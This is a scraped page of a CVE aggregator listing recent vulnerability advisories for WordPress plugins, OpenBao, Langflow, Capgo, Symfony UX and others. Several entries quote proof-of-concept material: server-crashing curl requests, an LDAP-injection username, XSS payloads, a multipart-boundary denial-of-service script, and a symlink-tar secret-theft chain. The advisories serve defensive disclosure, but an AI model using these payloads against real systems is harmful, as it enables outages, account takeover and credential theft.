Powered by data from 22+ sources — NVD, cve.org, EPSS, CISA KEV, OSV, GHSA, MITRE ATT&CK, and more.

About & licensesSource status
cvekit
CockpitCVEsATT&CKActorsSources
----‑--‑-- · --:--:-- UTCLIVE
360,639 matching
CVEs · 360,639page 1 / 7213
CVE-2026-12119MEDIUM6.5

The Simple File List plugin for WordPress is vulnerable to unauthorized file operations due to a missing authorization check on the 'frontmanage' shortcode attribute in all versions up to, and including, 6.3.7. This makes it possible for authenticated attackers, with contributor-level access and above, to perform arbitrary file operations including deletion, move, folder creation, and download. An attacker can create a draft post containing the 'eeSFL' shortcode, render it via the post preview endpoint to harvest the nonce needed to authorize the operations, and then submit file operation requests that bypass the intended authorization checks in includes/ee-list-ops-bar-process.php.

CVE-2026-11911HIGH7.5

The Simple File List plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the eeSFL_DeleteFile function in all versions up to, and including, 6.3.7. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The simplefilelist_edit_job AJAX action is registered via wp_ajax_nopriv_, making it accessible without authentication, and the is_admin() guard that would otherwise restrict access is bypassed because is_admin() always returns true for requests to the admin-ajax.php endpoint.

CVE-2026-11912HIGH7.5

The Simple File List plugin for WordPress is vulnerable to arbitrary file modification due to insufficient authorization checks in all versions up to, and including, 6.3.7. This makes it possible for unauthenticated attackers to delete and modify files on the serve. This vulnerability is exploitable even when the administrator has not enabled the AllowFrontManage setting, because the is_admin() check unconditionally short-circuits the guard before that setting is evaluated.

CVE-2026-9843HIGH8.1

The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the view_page function in all versions up to, and including, 1.5.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). Successful exploitation requires an administrator to view or edit the poisoned form entry, at which point PHP's bracket parser reshapes the attacker-crafted JSON key to bypass the stored-path isset check and trigger deletion of the traversal-specified file.

CVE-2026-9265NONE

Crypt::OpenSSL::PKCS12 versions before 1.96 for Perl permits a heap OOB read in print_attribute UTF8STRING path. print_attribute() copies a UTF8STRING ASN.1 attribute value into a heap buffer sized exactly to its declared length via strncpy, leaving no NUL terminator. Downstream callers run strlen() on the result and pass the inflated length to newSVpvn(), copying attacker-influenced adjacent heap bytes into a Perl scalar.

CVE-2026-11551CRITICAL9.8

The Branda plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.4.29. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.

CVE-2023-6955MEDIUM5.3EPSS 42%Analyzed

A missing authorization check vulnerability exists in GitLab Remote Development affecting all versions prior to 16.5.6, 16.6 prior to 16.6.4 and 16.7 prior to 16.7.2. This condition allows an attacker to create a workspace in one group that is associated with an agent from another group.

CVE-2026-11941MEDIUM5.6

Cloudflare Quiche was affected by 2 use-after-free vulnerabilities in the connection ID iterator FFI functions. The “quiche_connection_id_iter_next” and “quiche_conn_retired_scid_next” functions would return a pointer to a “ConnectionId” to the applications via function arguments, but the owned “ConnectionId” would be dropped at the end of those functions' scope. Only applications using those FFI functions are affected. The FFI API is disabled by default by a build-time feature flag. Impact If unpatched, an application calling the affected FFI functions will dereference freed memory. The most likely outcome is undefined behavior leading to a process crash (denial of service). Depending on allocator state, the read may also return adjacent heap contents, resulting in limited information disclosure or incorrect connection identifier handling. Mitigation Users are requested to upgrade to quiche 0.29.2 which is the earliest version containing the fix for this issue.

CVE-2026-10720NONE

Canonical MicroCeph versions from the squid and tentacle track are vulnerable to a path traversal issue in the remote-import API. Holders of a trusted cluster mTLS certificate (such as enrolled cluster members) or join token can manipulate files in an imported remote cluster within the /var/snap/microceph confinement. This would allow daemon disruption and pollution of the cluster state.

CVE-2026-55878HIGH7.8

### Description The `ux:install` console command installs files from a recipe kit by copying paths listed in a `copy-files` map. The only guard against malicious paths was `Path::isRelative()`, which returns `true` for paths like `../../../etc`. `Path::join()` then resolves the `..` segments without complaint, so the final path can escape the intended directory entirely. A crafted or compromised kit can therefore write attacker-controlled content to arbitrary locations on the developer's machine or CI runner. Because the copy operation creates missing parent directories and can overwrite existing files silently (with `--force` or in non-interactive environments), an attacker who controls a kit can overwrite files such as controllers, git hooks, or `.env` to achieve code execution. The source side of `copy-files` is symmetrically affected, enabling local file reads outside the recipe directory. ### Resolution The fix introduces an `Assert::pathDoesNotEscapeDirectory()` helper that rejects any `copy-files` source or destination path containing a `..` segment, regardless of whether `/` or `\` is used as the separator. This check is enforced in both `RecipeManifest` (which also guards the source Finder) and `File`. As a last line of defense, the installer re-verifies the fully resolved paths with `Path::isBasePath()` immediately before each filesystem read and write. ### Credits Symfony would like to thank Pascal Cescon for reporting the issue and Hugo Alliaume for providing the fix.

CVE-2026-55877MEDIUM6.1

### Description The `ux_icon()` Twig function is marked `is_safe=['html']`, so Twig never escapes its output. `Icon::toHtml()` inlines the SVG source verbatim into the page. Browsers execute `<script>` elements and `on*` event-handler attributes found inside inline SVG, making any unsanitized icon a vector for cross-site scripting. Two code paths were affected. In the local file path, `Icon::fromFile()` only stripped `<script>` elements that were direct children of `<svg>`, leaving nested scripts and all `on*` attributes untouched despite a code comment claiming broader protection. In the Iconify on-demand path (enabled by default), the remote JSON `body` field was wrapped into an `Icon` object with no sanitization at all. Concrete attack vectors include a malicious SVG icon pack from a third-party theme or downloaded icon set, or a controlled Iconify endpoint configured via `iconify.endpoint` (including a poisoned cache). ### Resolution Introducing an `IconFactory` that centralizes sanitization across every icon source before an `Icon` object is created. The sanitizer removes script-capable elements (`script`, `foreignObject`, `iframe`, `object`, `embed`), SMIL animations targeting `on*`, `href`, or `xlink:href` attributes, CDATA sections, processing instructions, all `on*` attributes, and `javascript:`, `vbscript:`, and `data:text/html` URL schemes. `<style>` elements are kept for theming but have any handlers stripped. Icons that contain none of these constructs are byte-for-byte identical after sanitization. ### Credits Symfony would like to thank Pascal Cescon for reporting the issue and Hugo Alliaume for providing the fix.

CVE-2026-55866LOW3.7

### Impact Under concurrency, `CheckPermission` and `CheckBulkPermissions` can return `PERMISSIONSHIP_HAS_PERMISSION` for a (resource, permission, subject) whose correct answer is `PERMISSIONSHIP_CONDITIONAL_PERMISSION`. You are impacted if **all** of the following hold: 1. Your schema has a permission combining relations with an intersection or exclusion, where a subject reaches it through a caveated branch and a non-caveated branch. For example: ```zed definition user {} caveat some_caveat(somecondition int) { somecondition == 42 } definition document { relation reader: user | user with some_caveat relation writer: user relation banned: user permission has_permission = (reader & writer) - banned } ``` 2. A subject reaches the permission via the caveated edge: ``` document:firstdoc#reader@user:caveatedreader[some_caveat] document:firstdoc#writer@user:caveatedreader ``` 3. Your workload issues `LookupResources` with a `context` request parameter, concurrently with `CheckPermission/CheckBulkPermissions` for the same subject/resource, and 4. The dispatch result cache is enabled. When all of the above are true, there is an intermittent window in which: `CheckPermission(document:firstdoc, has_permission, user:caveatedreader)` → HAS_PERMISSION (incorrect; should be CONDITIONAL_PERMISSION) `CheckPermission(document:firstdoc, has_permission, user:caveatedreader, context = {"somecondition": 41})` → HAS_PERMISSION (incorrect; should be NO_PERMISSION) ### Patches v1.54.0 ### Workarounds Disable the dispatch result cache (`ClusterDispatchCacheConfig` and `DispatchCacheConfig`)

CVE-2026-55776MEDIUM6.5

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`) with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: `curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit` Trigger the crash: `curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name` You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS: Exited (2) Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path. Suggested fix: Validate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.

CVE-2026-55775NONE

### Summary A user that is granted namespace management (`/sys/namespaces`) capabilities within a non-root namespace ("the victim namespace") can abuse special handling of the literal path `"root"` in namespace path canonicalization to manage the victim namespace itself. ### Details Several endpoints under `/sys/namespaces/*` accept a namespace path segment that is canonicalized and then appended to the path of the sys mount's containing namespace (set via path prefix or `X-Vault-Namespace` header) to determine the absolute path of the namespace to operate on. Given the special namespace path `"root"` canonicalizes to en empty path (`""`), when passed as `/sys/namespaces/root`, the resulting absolute namespace path remains equal to the sys mount's containing namespace. Given ACLs are evaluated before namespace path canonicalization, this allows users with capabilities on `/sys/namespaces/root` within any given namespace to operate on the namespace itself instead. ### Impact Users that were granted the required capabilities can abuse this vulnerability to: - Look up - Delete - Lock - Patch custom metadata against the namespace containing the system backend they can manage `sys/namespaces/root` in. The exact range of operations that can be performed depends on the specific capabilities granted on said path and any sub-paths such as `/api-lock`. Notably, the root namespace is immutable and cannot be modified, deleted or locked, and is thus unaffected. Also note that users can only abuse this vulnerability to operate on the direct parent or "containing" namespace relative to their capabilities, not arbitrary namespaces. ### Patch This will be fixed in OpenBao v2.5.5. ### PoC Start a development server: ```sh bao server -dev ``` Create a namespace: ```sh bao namespace create victim ``` This will be the namespace we gain unauthorized management of. Create a policy that allows management of namespaces, _inside_ of the victim namespace. ```sh bao policy write -namespace=victim namespace-management - <<EOF path "sys/namespaces/*" { capabilities = ["read", "update", "patch", "delete"] } EOF ``` Then create a token with above policy attached: ```sh export BAO_TOKEN=$(bao token create -namespace=victim -policy=namespace-management -field=token) ``` Operate on the victim's namespace using the token, for example by outright deleting it: ```sh bao namespace delete -namespace=victim root ```

CVE-2026-55770MEDIUM6.8

## 1. Description ### Component `sdk/helper/ldaputil/client.go` — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs. ### Root Cause The LDAP utility contains a **function selection error** that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the `bindDN` using `EscapeLDAPValue()`: ```go // Line 191 — UPN Domain path bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain) // Line 193 — User DN path bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN) ``` The problem: `EscapeLDAPValue()` implements **RFC 4514** escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: `+`, `,`, `;`, `"`, `\`, `<`, `>`, and leading/trailing spaces. LDAP **search filters** (RFC 4515) have a different set of special characters: `*`, `(`, `)`, `\`, and NUL (`\x00`). None of these are escaped by `EscapeLDAPValue()`. The correct function is `ldap.EscapeFilter()` from the `github.com/go-ldap/ldap/v3` package. The irony: the same file uses `ldap.EscapeFilter()` correctly at lines 225-226 in `RenderUserSearchFilter()` for the `UserFilter` template path, but the `GetUserDN()` function at lines 191-193 uses the wrong escape function. ### Exploitation Mechanics ``` Username: alice)(objectClass=* ↓ EscapeLDAPValue (no-op — no DN special chars) alice)(objectClass=* ↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername) (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) ^^ injection point ``` The filter `(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))` is logically equivalent to: - `sAMAccountName=alice` AND `objectClass=user` AND `objectClass=*` Since all entries match `objectClass=*`, the filter matches **any user entry** where `sAMAccountName` is `alice`, effectively ignoring the `objectClass=user` constraint. By crafting more sophisticated injections (e.g., `alice)(|(sAMAccountName=admin`), the attacker can match arbitrary different user entries. ### Preconditions - LDAP authentication backend must be configured - Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding - Attacker controls the `username` field at login time ## 2. Proof of Concept ```bash # Login with LDAP injection payload as username curl -k -X POST \ -H "Content-Type: application/json" \ -d '{ "username": "alice)(sAMAccountName=*", "password": "anything" }' \ https://localhost:8200/v1/auth/ldap/login/admin # LDAP filter constructed: # (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*)) # injection ──────────^ # The filter matches the first user with objectClass=user # If the LDAP server returns admin's entry first, the token # is bound to the admin entity, inheriting all admin policies ``` The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account. ## 3. Impact | Impact | Detail | |--------|--------| | **Confidentiality** | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity | | **Integrity** | Ability to modify secrets, write policies, or configure backends as the impersonated user | | **Availability** | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance | **Likelihood: HIGH** — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond `curl`. ### Why This Is High Severity The LDAP auth backend is frequently used as a **primary authentication method** for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account. ## 4. Remediation ### Primary Fix: Use ldap.EscapeFilter Replace `EscapeLDAPValue` with `ldap.EscapeFilter` in both filter construction paths: ```go import "github.com/go-ldap/ldap/v3" // Line 191 — UPN Domain path bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain) // Line 193 — User DN path bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN) ``` `EscapeLDAPValue` is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use `ldap.EscapeFilter`. ### Audit: All Call Sites Review all usages of `EscapeLDAPValue` across the codebase to ensure none are used in filter context: ```bash grep -rn "EscapeLDAPValue" /root/cve-audit/openbao/ ``` ### Defense-in-Depth - Apply the principle of least privilege to LDAP service accounts used by OpenBao - Use `UserFilter` with explicit attribute constraints to limit the search scope

CVE-2026-55774NONE

### Summary OpenBao users with access to the `sys/leases/revoke/:lease_id` endpoint in any namespace can revoke leases in any other namespace as long as the lease identifier is known to them, bypassing ACLs that should apply for cross-namespace revocations. ### Impact OpenBao's namespaces provide multi-tenant separation. A tenant who intentionally leaks lease identifiers can have their lease and underlying credential revoked by a user in another tenant. ### Patch This will be fixed in OpenBao v2.5.5. ### References This vulnerability is similar to but distinct from: - CVE-2026-45808 / GHSA-v8v8-cm84-m686 - CVE-2026-40264 / GHSA-p49j-v9wc-wg57

CVE-2026-55692HIGH7.5

### Summary With $wgEmbedVideoRequireConsent enabled (the default), the urls for videos are stored in a json-ified data attribute`data-mw-iframeconfig`. When given a malformed url or id, the data-mw-iframeconfig attribute can be escaped via single quotes, allowing for html/javascript injection. ### Details The sprintf [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedService/EmbedHtmlFormatter.php#L115-L120) adds the iframe config encoded as JSON [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedService/AbstractEmbedService.php#L518). When given a malicious url or id with a single quote, the `$this->getUrl()` call returns an unescaped payload that terminates the data-mw-iframeconfig attribute and allows for injecting attributes, including handlers, into the figure element. The id regex for the `archiveorg` service and the url regexes for the `wistia` and `sharepoint` services allow for single quotes to be introduced. ### PoC A couple of examples across services ``` Input: <embedvideo service="archiveorg" id="x' onmouseover='alert(document.domain)' data-x='"></embedvideo> Renders: <figure class="embedvideo" data-service="archiveorg" data-mw-iframeconfig="{&quot;src&quot;:&quot;//archive.org/embed/x" onmouseover="alert(document.domain)" data-x="?autoplay=1&quot;}" style="width:640px"> <div class="embedvideo-wrapper" style="height:493px"><div class="embedvideo-consent" data-show-privacy-notice="1"> ... </div> </figure> ``` ``` Input: {{#ev:wistia|https://wistia.com/medias/x'onmouseover='alert(document.domain)'}} Renders: <figure class="embedvideo" data-service="wistia" data-mw-iframeconfig="{&quot;src&quot;:&quot;//fast.wistia.net/embed/iframe/x" onmouseover="alert(document.domain)" ?autoplay="1&quot;}'" style="width:640px"> <div class="embedvideo-wrapper" style="height:360px"><div class="embedvideo-consent" data-show-privacy-notice="1"> ... </div> </figure> ``` ``` {{#ev:sharepoint|https://a.sharepoint.com/sites/x'onmouseover='alert(document.domain)'.aspx}} ``` ### Impact Under the default $wgEmbedVideoRequireConsent = true configuration, any user able to edit a page can inject arbitrary JavaScript into an HTML event handler attribute (e.g. onfocus) via parameter. It requires no interaction (autofires via autofocus) and executes in the wiki origin for every visitor to the page.

CVE-2026-12644MEDIUM5.3

Versions of the package ts-deepmerge before 8.0.0 are vulnerable to Uncaught Exception due to the improper handling of built-in Object.prototype methods (such as toString, valueOf). When user-controlled input contains these keys with non-function values, the resulting merged object becomes broken — any string context operation throws a TypeError, crashing the application.

CVE-2026-56082HIGH7.5

Capgo (Cap-go/capgo) before 12.128.2 contains an improper access control vulnerability in the SECURITY DEFINER PostgREST RPC function public.record_build_time, which is granted to the anon role and callable with only the public Supabase publishable (sb_publishable_*) anon key. An unauthenticated attacker can insert rows into public.build_logs for arbitrary organizations and, because the function uses ON CONFLICT (build_id, org_id) DO UPDATE, can overwrite existing usage/billing records by reusing the same build_id for a target org. This enables cross-tenant tampering of billing build logs and financial-impact denial of service by inflating billable build time.

CVE-2026-56081CRITICAL9.1

Cap-go before 12.128.2 contains an authentication logic flaw that lets an attacker register and control an account bound to a victim's email address before that email is verified. By enabling two-factor authentication on the pre-registered account, the attacker gains control over the account claimed under the victim's identity, allowing them to read and modify its state and enforce organization-level policies, while the legitimate user is denied access to the account tied to their own email.

CVE-2026-56080MEDIUM4.9

Capgo before 12.128.2 contains a flaw in the Enforce Password Policy feature: after a Super Admin enables the policy and successfully changes their password to a compliant one, the backend does not update the password-compliance state. As a result, the backend continues to treat the account as non-compliant and repeatedly forces password-reset prompts, permanently locking the Super Admin out of organization access (organization lockout / denial of service) despite valid authentication.

CVE-2026-56079MEDIUM6.5

Capgo before 12.128.2 contains a cross-tenant authorization bypass vulnerability in PostgREST endpoints that allows org-scoped read API keys to access other tenants' webhook secrets and delivery logs. Attackers can query the webhooks and webhook_deliveries endpoints to exfiltrate HMAC signing secrets and delivery payloads, enabling forged webhook events against victim organizations.

CVE-2026-56073CRITICAL9.4

Cap-go before 12.128.2 contains an authentication bypass vulnerability in OTP verification that allows attackers to bypass email verification by modifying server responses. Attackers can intercept OTP verification requests and manipulate HTTP responses to falsely mark verification successful, enabling unauthorized 2FA enablement and account takeover.

CVE-2026-56078HIGH8.8

PraisonAI before 1.5.115 contains a path traversal vulnerability in MultiAgentMonitor that fails to sanitize agent IDs when building file paths. Attackers can include traversal sequences like ../ in agent IDs to read, write, or overwrite arbitrary files, enabling sensitive disclosure, denial of service, or code execution.

CVE-2026-56074MEDIUM5.5

PraisonAI before 1.5.128 caches tool approval decisions by tool name only, not by invocation arguments, allowing subsequent execute_command calls to bypass approval prompts. Attackers can exploit this by obtaining initial approval for a benign command, then silently exfiltrate API keys and credentials via subsequent shell commands without user consent.

CVE-2026-55650MEDIUM4.4

## Summary A Stored Cross-Site Scripting (XSS) issue previously existed in the Text Widget in Board of Outerbase Studio where unsanitized HTML could be rendered using `dangerouslySetInnerHTML` ### Steps to Reproduce 1. Create a new dashboard. 2. Add a **Text widget**. 3. Insert the following payload: ```html <img src=x onerror="alert('XSS Executed\nToken: ' + localStorage.getItem('ob-token'))"> ``` ### Architectural Context Outerbase Cloud and its backend services were discontinued in 2025. The current version of Outerbase Studio operates purely as a client-side application, with dashboard data stored locally in the browser. ### Impact In the current architecture, the impact is limited to local self-XSS within a user's browser session. The previously described scenarios involving: - authentication token theft - account takeover - database access are no longer applicable since there are no active backend services or authentication tokens. ### Remediation The unsafe HTML rendering in the Text Widget has been removed in commit https://github.com/outerbase/studio/commit/b06fb85e5967440278d5a815721b360920566ab9 by eliminating the use of dangerouslySetInnerHTML.

CVE-2026-55447CRITICAL9.6

### Summary All components based on `BaseFileComponent` are vulnerable to the following vulnerability: 1. Docling (`DoclingInlineComponent`) 2. Docling Serve (`DoclingRemoteComponent`) 3. Read File (`FileComponent`) 4. NVIDIA Retriever Extraction (`NvidiaIngestComponent`) 5. Video File (`VideoFileComponent`) 6. Unstructured API (`UnstructuredComponent`) For clarity, from now on I'll only refer to Read File component. The Read File node processes user-controlled files. Example scenario is a RAG chatbot - a system that allows users of an organization to ask questions about documents saved in the organizations. By controlling a files that are digested into the RAG, an attacker can direct the node to read *any* file on the file-system by absolute path. Using this vulnerability an attacker can acheive RCE: 1. Upload a file that directs the node to read Langflow's `secret_key` file containing the JWT token secret. 2. This would allow the attacker then to simply task the Chatbot for the JWT secret. 3. Using this secret, the attacker then crafts a JWT token for any user-id, bypassing authentication. 4. Code execution is then trivial - simply create a new flow with "Python Interpreter" node, fill it with arbitrary Python code and execute it. Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe ### Details The vulnerability is in: `langflow/src/lfx/src/lfx/base/data/base_file.py` Specifically in `_unpack_bundle`. This function extracts tar files, which can contain a symlink. This symlink can point to any file in the filesystem. Then, in `self.process_files()`, the file pointed by the symlink will be parsed and saved into the RAG. This can be done with unlimited number of symlinks in the same tar which can also be useful in some scenarios. Suggestd fix - iterate over the files and make sure all are regular files or directories. ### PoC Reproduction: 1. Create a flow with Read File (or any other affected components), and connect its output to some storage such as Chroma DB. 2. Create a symlink pointing to any file. For the above exploit, point the symlink to langflow's JWT token file. 3. Compress this symlink with tar. 4. Upload it to the Read File component. 5. Check the database, or ask a Chatbot connected to this vector database for the contents of the file. Concrete PoC: ------------ - Flow with RAG ingestion and a Chatbot around it: [Vector Store RAG.json](https://github.com/user-attachments/files/25159960/Vector.Store.RAG.json) - Exploit tar: [archive.tar.txt](https://github.com/user-attachments/files/25159954/archive.tar.txt) (remove .txt, GitHub blocked .tar) - Create a file `/tmp/trip.docx` with any contents in it - Ingest the file in the flow above, and ask the Chatbot a question about this file. A demo showing the attack: https://github.com/user-attachments/assets/af00f700-f13f-4eac-848e-8afd11fb9297 In the demo the attacker steals `Langflow` secret key used to sign JWTs. The second stage of the attack, not shown in the demo, is using this key to sign a JWT token and executing Python code on the server using the Python code interpreter node. ### Impact Any Langflow user using any of the above mentioned components to ingest user-controlled data is affected. Depending on exact scenario, the user can also be exposed to an RCE risk. ### Patches Fixed in **1.9.2** via PR [#12945](https://github.com/langflow-ai/langflow/pull/12945). `BaseFileComponent._unpack_bundle` now rejects symlink and hardlink members (and any non-regular entries) during TAR extraction, with additional defensive symlink filtering during directory recursion and after extraction. Upgrade to **1.9.2 or later**. Ori Lahav Security Researcher @ Rubrik Inc.

CVE-2026-55446HIGH7.5

### Summary An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. ### Details https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40 The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. ### PoC An attacker makes this request to upload a file without valid authentication information or a valid flow ID: ``` POST /api/v1/files/upload/test HTTP/1.1 Host: 127.0.0.1:7860 Content-Length: 3000192 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ Accept: application/json, text/plain, */* Origin: http://127.0.0.1:7860 Accept-Encoding: gzip, deflate, br Connection: keep-alive ------WebKitFormBoundaryorGBAKSkv5wR6WqJ Content-Disposition: form-data; name="file"; filename="dos.txt" Content-Type: text/plain DoS in progress! ------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000> ``` Here is the request in python: ```python import requests url = "http://127.0.0.1:7860/api/v1/files/upload/test" headers = { "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ" } data = ( "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n" "Content-Type: text/plain\r\n\r\n" "DoS in progress\r\n" "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n" ) response = requests.post(url, headers=headers, data=data) ``` The app will then be stuck in the "server is busy" state for all users: <img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05"> ### Impact Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want. ### Patches Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}$`) and rejects malformed requests — including the oversized-hyphen payload — with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.

CVE-2026-55423MEDIUM6.1

### Summary The logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in. ### Details Not in auto login mode. Hosted on localhost. `access_token_lf` remains present in both Local Storage and Cookies. `refresh_token_lf` remains present in Cookies. **Root cause:** the `/logout` endpoint deleted the authentication cookies without matching the original `httponly`/`samesite`/`secure`/`domain` parameters, so the browser kept them; additionally the frontend did not clear the auth cookies on logout. ``` LANGFLOW_AUTO_LOGIN: "False" LANGFLOW_SUPERUSER: <set> LANGFLOW_SUPERUSER_PASSWORD: <set> LANGFLOW_SECRET_KEY: <set> LANGFLOW_NEW_USER_IS_ACTIVE: "False" LANGFLOW_ENABLE_SUPERUSER_CLI: "False" ``` ### PoC Click Logout. Hit refresh to return to previous screen. ### Impact Users on shared computers may falsely believe they have terminated their session. ### Patches Fixed in **1.7.0** (PRs #10527 and #10528). The logout endpoint now deletes the auth cookies using the same parameters they were created with, and the frontend clears the auth cookies on logout. Upgrade to **1.7.0 or later**.

CVE-2026-55255CRITICAL9.9

## Summary Insecure Direct Object Reference (IDOR) vulnerability in `/api/v1/responses` endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request. ## Details The vulnerability exists in the `get_flow_by_id_or_endpoint_name` helper function in [`src/backend/base/langflow/helpers/flow.py` (lines 399-414)](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/helpers/flow.py#L399C1-L414C67). When a flow is accessed via UUID (flow_id), the function queries the database directly without verifying if the authenticated user owns that flow: ```python # src/backend/base/langflow/helpers/flow.py:399-414 async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead: async with session_scope() as session: try: flow_id = UUID(flow_id_or_name) # When using UUID, query directly WITHOUT checking user_id flow = await session.get(Flow, flow_id) # ❌ No user_id check! except ValueError: endpoint_name = flow_id_or_name stmt = select(Flow).where(Flow.endpoint_name == endpoint_name) # Only when using endpoint_name is user_id checked if user_id: stmt = stmt.where(Flow.user_id == uuid_user_id) ``` This function is used by the `/api/v1/responses` endpoint (defined in [`src/backend/base/langflow/api/v1/openai_responses.py:589`](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/api/v1/openai_responses.py#L589)). ## PoC (Proof of Concept) ```bash # Attacker (user A) with API_KEY_A tries to execute victim (user B)'s flow curl -X POST "http://localhost:7860/api/v1/responses" \ -H "x-api-key: sk-ATTACKER_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "model": "VICTIM_FLOW_ID", "input_value": "test", "stream": false }' # Returns 200 and executes the victim's flow ``` ## Impact Any authenticated user can: 1. Execute any flow in the system by knowing its flow ID 2. Access potentially sensitive data processed by victim's flows 3. Consume victim's resources ## Fixes Fixed in **PR #12832** (`fix(security): close IDOR in get_flow_by_id_or_endpoint_name`), merged 2026-04-22, released in **Langflow 1.9.1**. The helper normalizes `user_id` once and enforces ownership on **both** lookup branches (UUID *and* `endpoint_name`): ```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id) if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None # cross-user lookup falls through to the shared 404 ``` Key points: - Cross-user lookups return **404** (not 403), so flow existence is not disclosed via a 403-vs-404 oracle. - `/api/v1/responses` and `/api/v2/workflow` pass `user_id` explicitly, so fixing the helper closes them directly; the `/api/v1/run*` routes were additionally moved from a bare `Depends(get_flow_by_id_or_endpoint_name)` to auth-aware wrapper dependencies (defense in depth). - A malformed `user_id` now fails closed (404 instead of a raw 500). - Webhook routes intentionally keep the unscoped lookup (public by design / explicit ownership check elsewhere). - Regression tests cover the cross-user UUID case and 